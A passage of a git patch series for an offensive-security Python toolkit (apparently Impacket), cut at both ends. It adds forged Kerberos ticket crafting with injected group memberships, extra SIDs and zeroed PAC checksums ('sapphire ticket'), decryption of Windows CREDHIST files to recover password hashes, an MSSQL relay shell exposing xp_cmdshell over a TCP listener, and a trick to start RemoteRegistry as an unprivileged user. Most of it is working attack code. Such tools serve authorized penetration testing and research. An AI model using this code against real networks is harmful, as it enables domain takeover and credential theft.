KERB_SID_AND_ATTRIBUTES() - - sid = RPC_SID() - sid.fromCanonical(extrasid) - - sidRecord['Sid'] = sid - sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED - - # And, let's append the magicSid - validationInfo['Data']['ExtraSids'].append(sidRecord) + flags = list() + flags.append(TicketFlags.forwardable.value) + flags.append(TicketFlags.proxiable.value) + flags.append(TicketFlags.renewable.value) + if self.__domain == self.__server: + flags.append(TicketFlags.initial.value) + flags.append(TicketFlags.pre_authent.value) + encTicketPart['flags'] = encodeFlags(flags) + encTicketPart['key'] = noValue + encTicketPart['key']['keytype'] = kdcRep['ticket']['enc-part']['etype'] + + if encTicketPart['key']['keytype'] == EncryptionTypes.aes128_cts_hmac_sha1_96.value: + encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)]) + elif encTicketPart['key']['keytype'] == EncryptionTypes.aes256_cts_hmac_sha1_96.value: + encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(32)]) else: - validationInfo['Data']['ExtraSids'] = NULL + encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)]) + + encTicketPart['crealm'] = self.__domain.upper() + encTicketPart['cname'] = noValue + encTicketPart['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value + encTicketPart['cname']['name-string'] = noValue + encTicketPart['cname']['name-string'][0] = self.__target + + encTicketPart['transited'] = noValue + encTicketPart['transited']['tr-type'] = 0 + encTicketPart['transited']['contents'] = '' + encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) + encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) + # Let's extend the ticket's validity a lil bit + encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration) + encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration) + encTicketPart['authorization-data'] = noValue + encTicketPart['authorization-data'][0] = noValue + encTicketPart['authorization-data'][0]['ad-type'] = AuthorizationDataType.AD_IF_RELEVANT.value + encTicketPart['authorization-data'][0]['ad-data'] = noValue + + # Let's locate the KERB_VALIDATION_INFO and Checksums + if PAC_LOGON_INFO in pacInfos: + data = pacInfos[PAC_LOGON_INFO] + validationInfo = VALIDATION_INFO() + validationInfo.fromString(pacInfos[PAC_LOGON_INFO]) + lenVal = len(validationInfo.getData()) + validationInfo.fromStringReferents(data, lenVal) + + aTime = timegm(strptime(str(encTicketPart['authtime']), '%Y%m%d%H%M%SZ')) + + unixTime = self.getFileTime(aTime) + + kerbdata = KERB_VALIDATION_INFO() + + kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff + kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32 + + # Let's adjust username and other data + validationInfo['Data']['LogonDomainName'] = self.__domain.upper() + validationInfo['Data']['EffectiveName'] = self.__target + # Our Golden Well-known groups! :) + groups = self.__options.groups.split(',') + validationInfo['Data']['GroupIds'] = list() + validationInfo['Data']['GroupCount'] = len(groups) + + for group in groups: + groupMembership = GROUP_MEMBERSHIP() + groupId = NDRULONG() + groupId['Data'] = int(group) + groupMembership['RelativeId'] = groupId + groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED + validationInfo['Data']['GroupIds'].append(groupMembership) + + # Let's add the extraSid + if self.__options.extra_sid is not None: + extrasids = self.__options.extra_sid.split(',') + if validationInfo['Data']['SidCount'] == 0: + # Let's be sure user's flag specify we have extra sids. + validationInfo['Data']['UserFlags'] |= 0x20 + validationInfo['Data']['ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY() + for extrasid in extrasids: + validationInfo['Data']['SidCount'] += 1 + + sidRecord = KERB_SID_AND_ATTRIBUTES() + + sid = RPC_SID() + sid.fromCanonical(extrasid) + + sidRecord['Sid'] = sid + sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED + + # And, let's append the magicSid + validationInfo['Data']['ExtraSids'].append(sidRecord) + else: + validationInfo['Data']['ExtraSids'] = NULL - validationInfoBlob = validationInfo.getData() + validationInfo.getDataReferents() - pacInfos[PAC_LOGON_INFO] = validationInfoBlob + validationInfoBlob = validationInfo.getData() + validationInfo.getDataReferents() + pacInfos[PAC_LOGON_INFO] = validationInfoBlob - if logging.getLogger().level == logging.DEBUG: - logging.debug('VALIDATION_INFO after making it gold') - validationInfo.dump() - print('\n') - else: - raise Exception('PAC_LOGON_INFO not found! Aborting') + if logging.getLogger().level == logging.DEBUG: + logging.debug('VALIDATION_INFO after making it gold') + validationInfo.dump() + print('\n') + else: + raise Exception('PAC_LOGON_INFO not found! Aborting') - logging.info('\tPAC_LOGON_INFO') + logging.info('\tPAC_LOGON_INFO') - # Let's now clear the checksums - if PAC_SERVER_CHECKSUM in pacInfos: - serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM]) - if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: - serverChecksum['Signature'] = '\x00' * 12 - elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: - serverChecksum['Signature'] = '\x00' * 12 + # Let's now clear the checksums + if PAC_SERVER_CHECKSUM in pacInfos: + serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM]) + if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: + serverChecksum['Signature'] = '\x00' * 12 + elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: + serverChecksum['Signature'] = '\x00' * 12 + else: + serverChecksum['Signature'] = '\x00' * 16 + pacInfos[PAC_SERVER_CHECKSUM] = serverChecksum.getData() else: - serverChecksum['Signature'] = '\x00' * 16 - pacInfos[PAC_SERVER_CHECKSUM] = serverChecksum.getData() - else: - raise Exception('PAC_SERVER_CHECKSUM not found! Aborting') + raise Exception('PAC_SERVER_CHECKSUM not found! Aborting') - if PAC_PRIVSVR_CHECKSUM in pacInfos: - privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM]) - privSvrChecksum['Signature'] = '\x00' * 12 - if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: - privSvrChecksum['Signature'] = '\x00' * 12 - elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: + if PAC_PRIVSVR_CHECKSUM in pacInfos: + privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM]) privSvrChecksum['Signature'] = '\x00' * 12 + if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: + privSvrChecksum['Signature'] = '\x00' * 12 + elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: + privSvrChecksum['Signature'] = '\x00' * 12 + else: + privSvrChecksum['Signature'] = '\x00' * 16 + pacInfos[PAC_PRIVSVR_CHECKSUM] = privSvrChecksum.getData() else: - privSvrChecksum['Signature'] = '\x00' * 16 - pacInfos[PAC_PRIVSVR_CHECKSUM] = privSvrChecksum.getData() - else: - raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting') + raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting') - if PAC_CLIENT_INFO_TYPE in pacInfos: - pacClientInfo = PAC_CLIENT_INFO(pacInfos[PAC_CLIENT_INFO_TYPE]) - pacClientInfo['ClientId'] = unixTime - pacInfos[PAC_CLIENT_INFO_TYPE] = pacClientInfo.getData() - else: - raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting') + if PAC_CLIENT_INFO_TYPE in pacInfos: + pacClientInfo = PAC_CLIENT_INFO(pacInfos[PAC_CLIENT_INFO_TYPE]) + pacClientInfo['ClientId'] = unixTime + pacInfos[PAC_CLIENT_INFO_TYPE] = pacClientInfo.getData() + else: + raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting') - logging.info('\tPAC_CLIENT_INFO_TYPE') - logging.info('\tEncTicketPart') + logging.info('\tPAC_CLIENT_INFO_TYPE') + logging.info('\tEncTicketPart') if self.__domain == self.__server: encRepPart = EncASRepPart() @@ -606,7 +841,10 @@ def customizeTicket(self, kdcRep, pacInfos): encRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) encRepPart['nonce'] = 123456789 encRepPart['key-expiration'] = KerberosTime.to_asn1(ticketDuration) - encRepPart['flags'] = encodeFlags(flags) + flags = [] + for i in encTicketPart['flags']: + flags.append(i) + encRepPart['flags'] = flags encRepPart['authtime'] = str(encTicketPart['authtime']) encRepPart['endtime'] = str(encTicketPart['endtime']) encRepPart['starttime'] = str(encTicketPart['starttime']) @@ -624,7 +862,6 @@ def customizeTicket(self, kdcRep, pacInfos): encRepPart['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value encRepPart['sname']['name-string'][1] = self.__server logging.info('\tEncTGSRepPart') - return encRepPart, encTicketPart, pacInfos def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart, pacInfos): @@ -900,6 +1137,9 @@ def run(self): group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 'ommited it use the domain part (FQDN) specified in the target parameter') + parser.add_argument('-impersonate', action="store", help='Sapphire ticket. target username that will be impersonated (through S4U2Self+U2U)' + ' for querying the ST and extracting the PAC, which will be' + ' included in the new ticket') if len(sys.argv)==1: parser.print_help() @@ -951,6 +1191,47 @@ def run(self): else: password = options.password + if options.impersonate: + # args that can't be None: -aesKey, -domain-sid, -nthash, -request, -domain, -user, -password + # -user-id can't be None except if -old-pac is set + # args that can't be False: -request + missing_params = [ + param_name + for (param, param_name) in + zip( + [ + options.request, + options.aesKey, options.nthash, + options.domain, options.user, options.password, + options.domain_sid, options.user_id + ], + [ + "-request", + "-aesKey", "-nthash", + "-domain", "-user", "-password", + "-domain-sid", "-user-id" + ] + ) + if param is None or (param_name == "-request" and not param) + ] + if missing_params: + logging.error(f"missing parameters to do sapphire ticket : {', '.join(missing_params)}") + sys.exit(1) + if not options.old_pac and not options.user_id: + logging.error(f"missing parameter -user-id. Must be set if not doing -old-pac") + sys.exit(1) + # ignored params: -extra-pac, -extra-sid, -groups, -duration + # -user-id ignored if -old-pac + ignored_params = [] + if options.extra_pac: ignored_params.append("-extra-pac") + if options.extra_sid is not None: ignored_params.append("-extra-sid") + if options.groups is not None: ignored_params.append("-groups") + if options.duration is not None: ignored_params.append("-duration") + if ignored_params: + logging.error(f"doing sapphire ticket, ignoring following parameters : {', '.join(ignored_params)}") + if options.old_pac and options.user_id is not None: + logging.error(f"parameter -user-id will be ignored when specifying -old-pac in a sapphire ticket attack") + try: executer = TICKETER(options.target, password, options.domain, options) executer.run() From 567478030e8aabb8fc6771e4856dceae50d2d440 Mon Sep 17 00:00:00 2001 From: Jonathan Date: Wed, 11 Oct 2023 03:12:40 +0300 Subject: [PATCH 08/13] Added CREDHIST support (#1564) * Added CREDHIST support * Added fixes from suggestions --- examples/dpapi.py | 105 ++++++++++++++++++-------- impacket/dpapi.py | 182 +++++++++++++++++++++++++++++++++++++++++++++- 2 files changed, 254 insertions(+), 33 deletions(-) diff --git a/examples/dpapi.py b/examples/dpapi.py index 0045b4c1e0..7036e4fdc4 100755 --- a/examples/dpapi.py +++ b/examples/dpapi.py @@ -59,7 +59,7 @@ from impacket.structure import hexdump from impacket.dpapi import MasterKeyFile, MasterKey, CredHist, DomainKey, CredentialFile, DPAPI_BLOB, \ CREDENTIAL_BLOB, VAULT_VCRD, VAULT_VPOL, VAULT_KNOWN_SCHEMAS, VAULT_VPOL_KEYS, P_BACKUP_KEY, PREFERRED_BACKUP_KEY, \ - PVK_FILE_HDR, PRIVATE_KEY_BLOB, privatekeyblob_to_pkcs1, DPAPI_DOMAIN_RSA_MASTER_KEY + PVK_FILE_HDR, PRIVATE_KEY_BLOB, privatekeyblob_to_pkcs1, DPAPI_DOMAIN_RSA_MASTER_KEY, deriveKeysFromUser, deriveKeysFromUserkey, CREDHIST_FILE class DPAPI: @@ -89,34 +89,6 @@ def getLSA(self): logging.error('Cannot grab MachineKey/UserKey from LSA, aborting...') sys.exit(1) - - - def deriveKeysFromUser(self, sid, password): - # Will generate two keys, one with SHA1 and another with MD4 - key1 = HMAC.new(SHA1.new(password.encode('utf-16le')).digest(), (sid + '\0').encode('utf-16le'), SHA1).digest() - key2 = HMAC.new(MD4.new(password.encode('utf-16le')).digest(), (sid + '\0').encode('utf-16le'), SHA1).digest() - # For Protected users - tmpKey = pbkdf2_hmac('sha256', MD4.new(password.encode('utf-16le')).digest(), sid.encode('utf-16le'), 10000) - tmpKey2 = pbkdf2_hmac('sha256', tmpKey, sid.encode('utf-16le'), 1)[:16] - key3 = HMAC.new(tmpKey2, (sid + '\0').encode('utf-16le'), SHA1).digest()[:20] - - return key1, key2, key3 - - def deriveKeysFromUserkey(self, sid, pwdhash): - if len(pwdhash) == 20: - # SHA1 - key1 = HMAC.new(pwdhash, (sid + '\0').encode('utf-16le'), SHA1).digest() - key2 = None - else: - # Assume MD4 - key1 = HMAC.new(pwdhash, (sid + '\0').encode('utf-16le'), SHA1).digest() - # For Protected users - tmpKey = pbkdf2_hmac('sha256', pwdhash, sid.encode('utf-16le'), 10000) - tmpKey2 = pbkdf2_hmac('sha256', tmpKey, sid.encode('utf-16le'), 1)[:16] - key2 = HMAC.new(tmpKey2, (sid + '\0').encode('utf-16le'), SHA1).digest()[:20] - - return key1, key2 - def run(self): if self.options.action.upper() == 'MASTERKEY': fp = open(options.file, 'rb') @@ -168,7 +140,7 @@ def run(self): # Use SID + hash # We have hives, let's try to decrypt with them self.getLSA() - key1, key2 = self.deriveKeysFromUserkey(self.options.sid, self.dpapiSystem['UserKey']) + key1, key2 = deriveKeysFromUserkey(self.options.sid, self.dpapiSystem['UserKey']) decryptedKey = mk.decrypt(key1) if decryptedKey: print('Decrypted key with UserKey + SID') @@ -191,7 +163,7 @@ def run(self): return elif self.options.key and self.options.sid: key = unhexlify(self.options.key[2:]) - key1, key2 = self.deriveKeysFromUserkey(self.options.sid, key) + key1, key2 = deriveKeysFromUserkey(self.options.sid, key) decryptedKey = mk.decrypt(key1) if decryptedKey: print('Decrypted key with key provided + SID') @@ -232,7 +204,7 @@ def run(self): password = getpass("Password:") else: password = options.password - key1, key2, key3 = self.deriveKeysFromUser(self.options.sid, password) + key1, key2, key3 = deriveKeysFromUser(self.options.sid, password) # if mkf['flags'] & 4 ? SHA1 : MD4 decryptedKey = mk.decrypt(key3) @@ -503,6 +475,68 @@ def run(self): # Just print the data blob.dump() + elif self.options.action.upper() == 'CREDHIST': + fp = open(self.options.file, 'rb') + data = fp.read() + chf = CREDHIST_FILE(data) + + if len(chf.credhist_entries_list) == 0: + print('The CREDHIST file is empty') + return + + # Handle key options + if self.options.key: + key = unhexlify(self.options.key[2:]) + keys = deriveKeysFromUserkey(chf.credhist_entries_list[0].sid, key) + + # Only other option is using a password + else: + # Do we have a password? + if self.options.password is None: + # Nope let's ask it + from getpass import getpass + password = getpass("Password:") + else: + password = options.password + + keys = deriveKeysFromUser(chf.credhist_entries_list[0].sid, password) + + if self.options.entry is None: + # First find the correct key to the 1st entry + real_key = None + for k in keys: + chf.decrypt_entry_by_index(0, k) + if chf.credhist_entries_list[0].pwdhash is not None: + real_key = k + break + + # Wrong key + if real_key is None: + chf.dump() + print() + print('Cannot decrypt (wrong key or password)') + return + + else: + chf.decrypt(real_key) + chf.dump() + + # Fully successful decryption + if chf.credhist_entries_list[-1].pwdhash is not None: + return + + else: + for k in keys: + chf.decrypt_entry_by_index(self.options.entry, k) + if chf.credhist_entries_list[self.options.entry].pwdhash is not None: + chf.credhist_entries_list[self.options.entry].dump() + return + + chf.credhist_entries_list[self.options.entry].dump() + print() + print('Cannot decrypt (wrong key or password)') + return + print('Cannot decrypt (specify -key or -sid whenever applicable) ') @@ -568,6 +602,13 @@ def run(self): unprotect.add_argument('-entropy', action='store', default=None, required=False, help='String with extra entropy needed for decryption') unprotect.add_argument('-entropy-file', action='store', default=None, required=False, help='File with binary entropy contents (overwrites -entropy)') + # A CREDHIST command + credhist = subparsers.add_parser('credhist', help='CREDHIST related functions') + credhist.add_argument('-file', action='store', required=True, help='CREDHIST file') + credhist.add_argument('-key', action='store', help='Specific key to use for decryption') + credhist.add_argument('-password', action='store', help='User\'s password') + credhist.add_argument('-entry', action='store', type=int, help='Entry index in CREDHIST') + options = parser.parse_args() if len(sys.argv)==1: diff --git a/impacket/dpapi.py b/impacket/dpapi.py index 9affeb4473..5f42272a88 100644 --- a/impacket/dpapi.py +++ b/impacket/dpapi.py @@ -30,7 +30,8 @@ from datetime import datetime from binascii import unhexlify, hexlify from struct import pack -from Cryptodome.Hash import HMAC, SHA512, SHA1 +from hashlib import pbkdf2_hmac +from Cryptodome.Hash import HMAC, SHA512, SHA1, MD4 from Cryptodome.Cipher import AES, DES3 from Cryptodome.Util.Padding import unpad from Cryptodome.PublicKey import RSA @@ -338,6 +339,159 @@ def dump(self): print("Guid : %s" % bin_to_string(self['Guid'])) print() +class CREDHIST_ENTRY(Structure): + structure = ( + ('Version', ' Date: Thu, 12 Oct 2023 02:20:17 -0300 Subject: [PATCH 09/13] Enhanced MSSQLShell in NTLMRelayX leveraging TcpShell & output messages (#1617) * * Enhanced MSSQLShell in NTLMRelayX leveraging TcpShell (as in SMB and LDAP) * * Created handle_lastError decorator applied to every command to show errors in the corresponding SQLShell --- impacket/examples/mssqlshell.py | 42 +++++++++++++++++-- .../ntlmrelayx/attacks/mssqlattack.py | 30 +++++++++---- impacket/tds.py | 1 - 3 files changed, 62 insertions(+), 11 deletions(-) diff --git a/impacket/examples/mssqlshell.py b/impacket/examples/mssqlshell.py index 5c4784cd98..58dfcde89e 100644 --- a/impacket/examples/mssqlshell.py +++ b/impacket/examples/mssqlshell.py @@ -19,11 +19,30 @@ import os import cmd +import sys +def handle_lastError(f): + def wrapper(*args): + try: + f(*args) + finally: + if(args[0].sql.lastError): + print(args[0].sql.lastError) + return wrapper class SQLSHELL(cmd.Cmd): - def __init__(self, SQL, show_queries=False): - cmd.Cmd.__init__(self) + def __init__(self, SQL, show_queries=False, tcpShell=None): + if tcpShell is not None: + cmd.Cmd.__init__(self, stdin=tcpShell.stdin, stdout=tcpShell.stdout) + sys.stdout = tcpShell.stdout + sys.stdin = tcpShell.stdin + sys.stderr = tcpShell.stdout + self.use_rawinput = False + self.shell = tcpShell + else: + cmd.Cmd.__init__(self) + self.shell = None + self.sql = SQL self.show_queries = show_queries self.at = [] @@ -86,14 +105,17 @@ def execute_as(self, exec_as): self.sql_query(exec_as) self.sql.printReplies() + @handle_lastError def do_exec_as_login(self, s): exec_as = "execute as login='%s';" % s self.execute_as(exec_as) + @handle_lastError def do_exec_as_user(self, s): exec_as = "execute as user='%s';" % s self.execute_as(exec_as) + @handle_lastError def do_use_link(self, s): if s == 'localhost': self.at = [] @@ -117,6 +139,7 @@ def sql_query(self, query, show=True): def do_shell(self, s): os.system(s) + @handle_lastError def do_xp_dirtree(self, s): try: self.sql_query("exec master.sys.xp_dirtree '%s',1,1" % s) @@ -125,6 +148,7 @@ def do_xp_dirtree(self, s): except: pass + @handle_lastError def do_xp_cmdshell(self, s): try: self.sql_query("exec master..xp_cmdshell '%s'" % s) @@ -134,6 +158,7 @@ def do_xp_cmdshell(self, s): except: pass + @handle_lastError def do_sp_start_job(self, s): try: self.sql_query("DECLARE @job NVARCHAR(100);" @@ -155,6 +180,7 @@ def do_lcd(self, s): else: os.chdir(s) + @handle_lastError def do_enable_xp_cmdshell(self, line): try: self.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;" @@ -164,6 +190,7 @@ def do_enable_xp_cmdshell(self, line): except: pass + @handle_lastError def do_disable_xp_cmdshell(self, line): try: self.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure " @@ -173,6 +200,7 @@ def do_disable_xp_cmdshell(self, line): except: pass + @handle_lastError def do_enum_links(self, line): self.sql_query("EXEC sp_linkedservers") self.sql.printReplies() @@ -181,11 +209,13 @@ def do_enum_links(self, line): self.sql.printReplies() self.sql.printRows() + @handle_lastError def do_enum_users(self, line): self.sql_query("EXEC sp_helpuser") self.sql.printReplies() self.sql.printRows() + @handle_lastError def do_enum_db(self, line): try: self.sql_query("select name, is_trustworthy_on from sys.databases") @@ -194,6 +224,7 @@ def do_enum_db(self, line): except: pass + @handle_lastError def do_enum_owner(self, line): try: self.sql_query("SELECT name [Database], suser_sname(owner_sid) [Owner] FROM sys.databases") @@ -202,6 +233,7 @@ def do_enum_owner(self, line): except: pass + @handle_lastError def do_enum_impersonate(self, line): old_db = self.sql.currentDB try: @@ -236,6 +268,7 @@ def do_enum_impersonate(self, line): finally: self.sql_query("use " + old_db) + @handle_lastError def do_enum_logins(self, line): try: self.sql_query("select r.name,r.type_desc,r.is_disabled, sl.sysadmin, sl.securityadmin, " @@ -247,6 +280,7 @@ def do_enum_logins(self, line): except: pass + @handle_lastError def default(self, line): try: self.sql_query(line) @@ -259,4 +293,6 @@ def emptyline(self): pass def do_exit(self, line): - return True + if self.shell is not None: + self.shell.close() + return True \ No newline at end of file diff --git a/impacket/examples/ntlmrelayx/attacks/mssqlattack.py b/impacket/examples/ntlmrelayx/attacks/mssqlattack.py index dc017bf805..1e7855a751 100644 --- a/impacket/examples/ntlmrelayx/attacks/mssqlattack.py +++ b/impacket/examples/ntlmrelayx/attacks/mssqlattack.py @@ -18,22 +18,38 @@ from impacket import LOG from impacket.examples.mssqlshell import SQLSHELL from impacket.examples.ntlmrelayx.attacks import ProtocolAttack +from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell PROTOCOL_ATTACK_CLASS = "MSSQLAttack" class MSSQLAttack(ProtocolAttack): PLUGIN_NAMES = ["MSSQL"] + def __init__(self, config, MSSQLclient, username): + ProtocolAttack.__init__(self, config, MSSQLclient, username) + if self.config.interactive: + # Launch locally listening interactive shell. + self.tcp_shell = TcpShell() + def run(self): + if self.config.interactive: + if self.tcp_shell is not None: + LOG.info('Started interactive MSSQL shell via TCP on 127.0.0.1:%d' % self.tcp_shell.port) + # Start listening and launch interactive shell. + self.tcp_shell.listen() + mssql_shell = SQLSHELL(self.client, tcpShell=self.tcp_shell) + mssql_shell.cmdloop() + return + if self.config.queries is not None: for query in self.config.queries: LOG.info('Executing SQL: %s' % query) - self.client.sql_query(query) - self.client.printReplies() - self.client.printRows() - elif self.config.interactive is True: - shell = SQLSHELL(self.client) - shell.cmdloop() - return + try: + self.client.sql_query(query) + self.client.printReplies() + self.client.printRows() + finally: + if(self.client.lastError): + print(self.client.lastError) else: LOG.error('No SQL queries specified for MSSQL relay!') diff --git a/impacket/tds.py b/impacket/tds.py index 46b86f5124..c0447d3350 100644 --- a/impacket/tds.py +++ b/impacket/tds.py @@ -1022,7 +1022,6 @@ def printReplies(self): if key['TokenType'] == TDS_ERROR_TOKEN: error = "ERROR(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le')) self.lastError = SQLErrorException("ERROR: Line %d: %s" % (key['LineNumber'], key['MsgText'].decode('utf-16le'))) - LOG.error(error) elif key['TokenType'] == TDS_INFO_TOKEN: LOG.info("INFO(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le'))) From 419e6f24c304a5ce64f1735120e051a444a9081b Mon Sep 17 00:00:00 2001 From: trietend <212042+trietend@users.noreply.github.com> Date: Mon, 16 Oct 2023 01:30:43 +0200 Subject: [PATCH 10/13] The tree command of "smbclient.py" does not parse the path correct. (#1614) * Update smbclient.py * Avoid closing down the connection if a folder does not exist --- impacket/examples/smbclient.py | 19 ++++++------------- impacket/smbserver.py | 3 +++ 2 files changed, 9 insertions(+), 13 deletions(-) diff --git a/impacket/examples/smbclient.py b/impacket/examples/smbclient.py index 1cbabd60ce..81a9c01fd6 100755 --- a/impacket/examples/smbclient.py +++ b/impacket/examples/smbclient.py @@ -433,20 +433,13 @@ def do_tree(self, filepath): LOG.error("No share selected") return - if(not filepath.startswith("/")): - filepath = self.pwd + "/" + filepath + "/*" - if(filepath == "" or filepath == "./" or filepath == "./*"): - filepath = self.pwd + "/*" - if(filepath.startswith("./")): - filepath = self.pwd + filepath.strip(".") - if("./" in filepath and not filepath.startswith("./") and not filepath.endswith("./")): - filepath = filepath.replace("./","") - if(filepath.endswith("/") or not filepath.endswith("/*")): - filepath = filepath + "/*" - if(filepath.endswith("/*/*")): - filepath = filepath.replace("/*/*", "/*") filepath = filepath.replace("\\", "/") - + if not filepath.startswith("/"): + filepath = self.pwd.replace("\\", "/") + "/" + filepath + if(not filepath.endswith("/*")): + filepath = filepath + "/*" + filepath = os.path.abspath(filepath).replace("//","/") + for LINE in self.smb.listPath(self.share, filepath): if(LINE.is_directory()): if(LINE.get_longname() == "." or LINE.get_longname() == ".."): diff --git a/impacket/smbserver.py b/impacket/smbserver.py index 5742cd765c..cf806840f9 100644 --- a/impacket/smbserver.py +++ b/impacket/smbserver.py @@ -411,6 +411,9 @@ def findFirst2(path, fileName, level, searchAttributes, pktFlags=smb.SMB.FLAGS2_ files.append(os.path.join(dirName, '..')) if pattern != '': + if not os.path.exists(dirName): + return None, 0, STATUS_OBJECT_NAME_NOT_FOUND + for file in os.listdir(dirName): if fnmatch.fnmatch(file.lower(), pattern.lower()): entry = os.path.join(dirName, file) From c0e949fee4948786c6f99f838117c0e93f6e7fb1 Mon Sep 17 00:00:00 2001 From: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> Date: Fri, 27 Oct 2023 23:37:03 +0800 Subject: [PATCH 11/13] [DumpNTLMInfo.py] fix error with 2003 (#1630) * [DumpNTLMInfo.py] fix error with 2003 Signed-off-by: XiaoliChan <2209553467@qq.com> * [DumpNTLMInfo.py] garbrielg5: review I Signed-off-by: Xiaoli Chan <2209553467@qq.com> --------- Signed-off-by: XiaoliChan <2209553467@qq.com> Signed-off-by: Xiaoli Chan <2209553467@qq.com> --- examples/DumpNTLMInfo.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/DumpNTLMInfo.py b/examples/DumpNTLMInfo.py index cf44c67319..a13ae745ec 100644 --- a/examples/DumpNTLMInfo.py +++ b/examples/DumpNTLMInfo.py @@ -253,6 +253,7 @@ def _createSessionSetupRequest(self): return sessionSetup def _wrapper(self, sessionResponse): + sessionResponse['SecurityMode'] = 0x0 sessionResponse['DialectRevision'] = SMB_DIALECT if self._dialects_parameters['SecurityMode'] & SMB.SECURITY_SIGNATURES_ENABLED: sessionResponse['SecurityMode'] = SMB2_NEGOTIATE_SIGNING_ENABLED @@ -661,4 +662,3 @@ def __convert_size(self, size_bytes): import traceback traceback.print_exc() logging.error(str(e)) - \ No newline at end of file From 2d00fc6a5dabe48a735b81c886b6e3038d6cb964 Mon Sep 17 00:00:00 2001 From: Daniel Date: Fri, 3 Nov 2023 15:30:49 +0100 Subject: [PATCH 12/13] start remote registry as unprivileged user in reg.py (#1638) * start remote registry as unprivileged user in reg.py Trigger the start of the RemoteRegistry service as unprivileged user by opening the winreg named pipe. * enable access to HKEY_USERS trough reg.py --- examples/reg.py | 28 +++++++++++++++++++++------- 1 file changed, 21 insertions(+), 7 deletions(-) diff --git a/examples/reg.py b/examples/reg.py index 6d6c34ac91..e886141f2b 100755 --- a/examples/reg.py +++ b/examples/reg.py @@ -41,7 +41,7 @@ from impacket.examples.utils import parse_target from impacket.system_errors import ERROR_NO_MORE_ITEMS from impacket.structure import hexdump -from impacket.smbconnection import SMBConnection +from impacket.smbconnection import SMBConnection, SessionError from impacket.dcerpc.v5.dtypes import READ_CONTROL @@ -173,7 +173,8 @@ def run(self, remoteName, remoteHost): self.__remoteOps.enableRegistry() except Exception as e: logging.debug(str(e)) - logging.warning('Cannot check RemoteRegistry status. Hoping it is started...') + logging.warning('Cannot check RemoteRegistry status. Triggering start trough named pipe...') + self.triggerWinReg() self.__remoteOps.connectWinReg() try: @@ -200,6 +201,17 @@ def run(self, remoteName, remoteHost): if self.__remoteOps: self.__remoteOps.finish() + def triggerWinReg(self): + # original idea from https://twitter.com/splinter_code/status/1715876413474025704 + tid = self.__smbConnection.connectTree('IPC$') + try: + self.__smbConnection.openFile(tid, r'\winreg', 0x12019f, creationOption=0x40, fileAttributes=0x80) + except SessionError: + # STATUS_PIPE_NOT_AVAILABLE error is expected + pass + # give remote registry time to start + time.sleep(1) + def save(self, dce, keyName): hRootKey, subKey = self.__strip_root_key(dce, keyName) outputFileName = "%s\%s.save" % (self.__options.outputPath, subKey) @@ -413,8 +425,10 @@ def __strip_root_key(self, dce, keyName): raise Exception('Error parsing keyName %s' % keyName) if rootKey.upper() == 'HKLM': ans = rrp.hOpenLocalMachine(dce) - elif rootKey.upper() == 'HKU': + elif rootKey.upper() == 'HKCU': ans = rrp.hOpenCurrentUser(dce) + elif rootKey.upper() == 'HKU': + ans = rrp.hOpenUsers(dce) elif rootKey.upper() == 'HKCR': ans = rrp.hOpenClassesRoot(dce) else: @@ -520,7 +534,7 @@ def __parse_lp_data(valueType, valueData): query_parser.add_argument('-keyName', action='store', required=True, help='Specifies the full path of the subkey. The ' 'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,' - ' HKU, HKCR.') + ' HKU, HKCU, 